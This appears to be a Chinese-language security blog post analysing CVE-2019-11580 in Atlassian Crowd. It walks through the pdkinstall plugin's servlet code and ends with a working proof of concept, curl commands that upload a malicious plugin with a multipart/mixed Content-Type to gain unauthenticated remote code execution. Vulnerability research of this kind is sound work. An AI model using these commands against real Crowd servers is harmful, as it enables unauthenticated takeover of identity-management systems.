CVE-2019-11580：Atlassian Crowd RCE漏洞分析

0x00 前言

最近我在渗透测试过程中，遇到了一个Atlassian Crowd环境。根据官方描述，Crowd是一个集中式身份管理应用，可以帮助企业“管理来自多个目录的用户，比如活动目录（AD）、LDAP、OpenLDAP或者Microsoft Azure AD，也可以在同一个位置来控制应用程序的身份认证权限”。

目标环境安装的Crowd版本较老，因此我向Google伸出援手，想搜搜该版本有没有漏洞，这里我找到了一处安全公告：“pdkinstall开发插件未正确启用漏洞（CVE-2019-11580）”。

Atlassian的描述如下：

“Crowd以及Crowd Data Center在发布版（release）中没有正确启用pdkinstall开发插件。如果攻击者向Crowd或者Crowd Data Center实例发送未授权或者已授权的请求，就可以利用该漏洞来安装任意插件。如果目标系统上运行存在漏洞的Crowd或者Crowd Data Center，那么攻击者可以通过该漏洞实现远程代码执行（RCE）”。

经过一番搜索后，我并没有找到该漏洞对应的PoC，因此我决定分析漏洞，尝试自己构建PoC。

0x01 代码分析

首先clone该插件的源代码：

root@doggos:~# git clone https://bitbucket.org/atlassian/pdkinstall-plugin
Cloning into 'pdkinstall-plugin'...
remote: Counting objects: 210, done.
remote: Compressing objects: 100% (115/115), done.
remote: Total 210 (delta 88), reused 138 (delta 56)
Receiving objects: 100% (210/210), 26.20 KiB | 5.24 MiB/s, done.
Resolving deltas: 100% (88/88), done.

插件的描述文件路径为./main/resources/atlassian-plugin.xml，每个插件都需要搭配一个插件描述文件，根据Atlassian官方介绍，其中包含XML格式数据，用来“描述托管应用所需的插件以及插件中的模块”。

来看一下该文件内容：

<atlassian-plugin name="${project.name}" key="com.atlassian.pdkinstall" pluginsVersion="2">
<plugin-info>
    <version>${project.version}</version>
    <vendor name="Atlassian Software Systems Pty Ltd" url="http://www.atlassian.com"/>
</plugin-info>

<servlet-filter name="pdk install" key="pdk-install" class="com.atlassian.pdkinstall.PdkInstallFilter" location="before-decoration">
    <url-pattern>/admin/uploadplugin.action</url-pattern>
</servlet-filter>

<servlet-filter name="pdk manage" key="pdk-manage" class="com.atlassian.pdkinstall.PdkPluginsFilter"
    location="before-decoration">
    <url-pattern>/admin/plugins.action</url-pattern>
</servlet-filter>

<servlet-context-listener key="fileCleanup" class="org.apache.commons.fileupload.servlet.FileCleanerCleanup" />
<component key="pluginInstaller" class="com.atlassian.pdkinstall.PluginInstaller" />
</atlassian-plugin>

从中可知，当访问/admin/uploadplugin.action时，就会调用com.atlassian.pdkinstall.PdkInstallFilter这个Java servlet类。由于我们知道这个RCE漏洞由任意插件安装问题所触发，因此我们首先需要看一下PdkInstallFilter servlet的源代码。

这里我们可以将pdkinstall-plugin导入IntelliJ中，开始分析源代码。我们可以从doFilter()方法开始分析。

从此处代码中可知，如果请求的方法不是POST方法，那么代码就会退出，返回一个错误响应：

public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
HttpServletResponse res = (HttpServletResponse) servletResponse;

if (!req.getMethod().equalsIgnoreCase("post"))
{
    res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Requires post");
    return;
}

接下来，代码会判断请求中是否包含multipart数据。Multipart数据是包含一个或多个数据集组合的body数据。如果请求中包含multipart数据，那么代码就会调用extractJar()方法来提取请求所发送的jar，否则就会调用buildJarFromFiles()方法，尝试从请求数据中构建出一个jar插件文件。

// Check that we have a file upload request
File tmp = null;
boolean isMultipart = ServletFileUpload.isMultipartContent(req);
if (isMultipart)
{
    tmp = extractJar(req, res, tmp);
}
else
{
    tmp = buildJarFromFiles(req);
}

接下来开始分析extractJar()方法。

private File extractJar(HttpServletRequest req, HttpServletResponse res, File tmp) throws IOException
{
    // Create a new file upload handler
    ServletFileUpload upload = new ServletFileUpload(factory);

    // Parse the request
    try {
        List<FileItem> items = upload.parseRequest(req);
        for (FileItem item : items)
        {
            if (item.getFieldName().startsWith("file_") && !item.isFormField())
            {
                tmp = File.createTempFile("plugindev-", item.getName());
                tmp.renameTo(new File(tmp.getParentFile(), item.getName()));
                item.write(tmp);
            }
        }
    } catch (FileUploadException e) {
        log.warn(e, e);
        res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Unable to process file upload");
    } catch (Exception e) {
        log.warn(e, e);
        res.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Unable to process file upload");
    }
    return tmp;
}

首先，该函数会实例化ServletFileUpload的一个新对象，然后调用parseRequest()方法来解析HTTP请求。该方法会解析HTTP请求中的multipart/form-data数据流，并将解析出的FileItem存放到items列表中。

对于FileItem列表中的每个item，如果字段名以file_作为前缀，且不是表单字段（即HTML字段），那么该方法就会创建并写入一个文件，将该文件上传到磁盘上的临时目录中。如果操作失败，tmp变量的值将为null；如果操作成功，tmp变量将包含已写入文件的具体路径。代码会将tmp变量返回给doFilter()方法。

if (tmp != null)
{
    List<String> errors = new ArrayList<String>();
    try
    {
        errors.addAll(pluginInstaller.install(tmp));
    }
    catch (Exception ex)
    {
        log.error(ex);
        errors.add(ex.getMessage());
    }

    tmp.delete();

    if (errors.isEmpty())
    {
        res.setStatus(HttpServletResponse.SC_OK);
        servletResponse.setContentType("text/plain");
        servletResponse.getWriter().println("Installed plugin " + tmp.getPath());
    }
    else
    {
        res.setStatus(HttpServletResponse.SC_BAD_REQUEST);
        servletResponse.setContentType("text/plain");
        servletResponse.getWriter().println("Unable to install plugin:");
        for (String err : errors)
        {
            servletResponse.getWriter().println("t - " + err);
        }
    }
    servletResponse.getWriter().close();
    return;
}
res.sendError(HttpServletResponse.SC_BAD_REQUEST, "Missing plugin file");

如果extractJar()执行成功，tmp变量就会被设置为非null的其他值。应用程序会尝试使用pluginInstaller.install()方法安装插件，捕获安装过程中出现的任何错误。如果没有出现错误，服务端会返回200 OK响应，提示插件已成功安装。否则，服务端会响应400 Bad Request，提示“Unable to install plugin”（无法安装插件），响应消息中还包含导致安装失败的具体错误。

然而，如果最初的extractJar()方法执行失败，tmp变量就会被设置为null，服务端会返回400 Bad Request，提示“Missing plugin file”（插件文件缺失）。

现在我们了解了servlet工作原理及服务端期望收到的请求格式，我们可以尝试构造漏洞利用代码。

0x02 构造PoC

方法1

首先使用Atlassian SDK启动一个测试实例。

现在确保我们可以通过访问http://localhost:4990/crowd/admin/uploadplugin.action来调用pdkinstall插件。

服务端应该会返回“400 Bad Request”响应：

接下来利用我们目前已掌握的信息来上传一个标准插件。我选择来自atlassian-bundled-plugins中的applinks-plugin作为测试对象，大家可以从此处下载已编译好的jar文件。

根据我们了解的信息：servlet希望处理POST请求，请求中包含multipart数据，而multipart数据包含以file_开头的文件。我们可以使用cURL的--form参数发起满足条件的请求：

root@doggos:~# curl --form "[email protected]" http://localhost:4990/crowd/admin/uploadplugin.action -v

从结果中可知，服务端成功安装了插件，因此我们是不是可以创建并安装自己的插件呢？

为了测试方便，我创建了一个恶意插件（访问此处下载）。

接下来编译并尝试上传该插件。

root@doggos:~# ./compile.sh
root@doggos:~# curl --form "[email protected]" http://localhost:8095/crowd/admin/uploadplugin.action -v

可以看到服务端会返回“400 Bad Request”错误，响应数据中包含错误消息：“Missing plugin file”。从前文分析可知，如果tmp为null，那么服务端就会返回完全相同的错误代码及消息，但为什么会出现这种情况呢？我们可以调试一下。

我在IntelliJ中导入了pdkinstall-plugin，将调试器attach到Crowd实例，然后打开负责处理上传流程的PdkInstallFilter.java servlet。

我首先猜测ServletFileUpload.isMultipartContent(req)方法无法执行成功，因此我在该函数设置了一个断点，然后尝试上传我们的恶意插件。然而，我们可以看到该函数会正常运行，并且服务端会将其当成multipart数据：

因此肯定是extractJar()出了问题。我们可以调试该方法，逐行设置断点，这样方便找到出错的位置。设置断点后，我再次尝试上传：

可以看到upload.parseRequest(req)方法会返回一个空的数组。由于items变量为空，因此代码会跳过for循环，返回值为null的tmp。

我花了很长时间，想澄清为什么会出现这种情况，但我并不清楚真正的原因。然而这并不关键，我只关心如何实现RCE。

那么如果我将Content-Type从multipart/form-data改成其他multipart编码，会出现什么情况呢？可以来试一下。

方法2

这一次我决定将Content-Type改成multipart/mixed，尝试上传我的恶意插件。

curl -k -H "Content-Type: multipart/mixed" 
  --form "[email protected]" http://localhost:4990/crowd/admin/uploadplugin.action

服务端会在返回数据中提示插件已安装成功：

来看一下我们是否真的可以调用这个恶意插件：

这里我们已经成功针对Atlassian Crowd实现了无需身份认证的远程代码执行（RCE）。

0x03 总结

在对这个CVE的整个分析过程中，我所付出的努力都得到了回报，没有浪费时间精力，这正是漏洞分析过程的关键点所在。我们永远不要害怕尝试新事物，也不要害怕失败，这是整个过程最大的收获。

我对Java并不是特别了解，也没有丰富的调试经验，但这些都没有阻止我不断去尝试。尝试新事物、研究新内容、不断排查错误，这也是学习过程的重要过程。

正文

CVE-2019-11580：Atlassian Crowd RCE漏洞分析

0x00 前言

0x01 代码分析

0x02 构造PoC

方法1

方法2

0x03 总结

相关阅读

IBM InfoSphere Master Data Management up to 11.4.0.4 GDS 跨站脚本攻击

NetApp Data ONTAP信息泄露漏洞

PHP远程格式化字符串漏洞

Cisco Web Security Appliance devices安全机制绕过漏洞

发表评论取消回复

还没有评论，来说两句吧...

目录[+]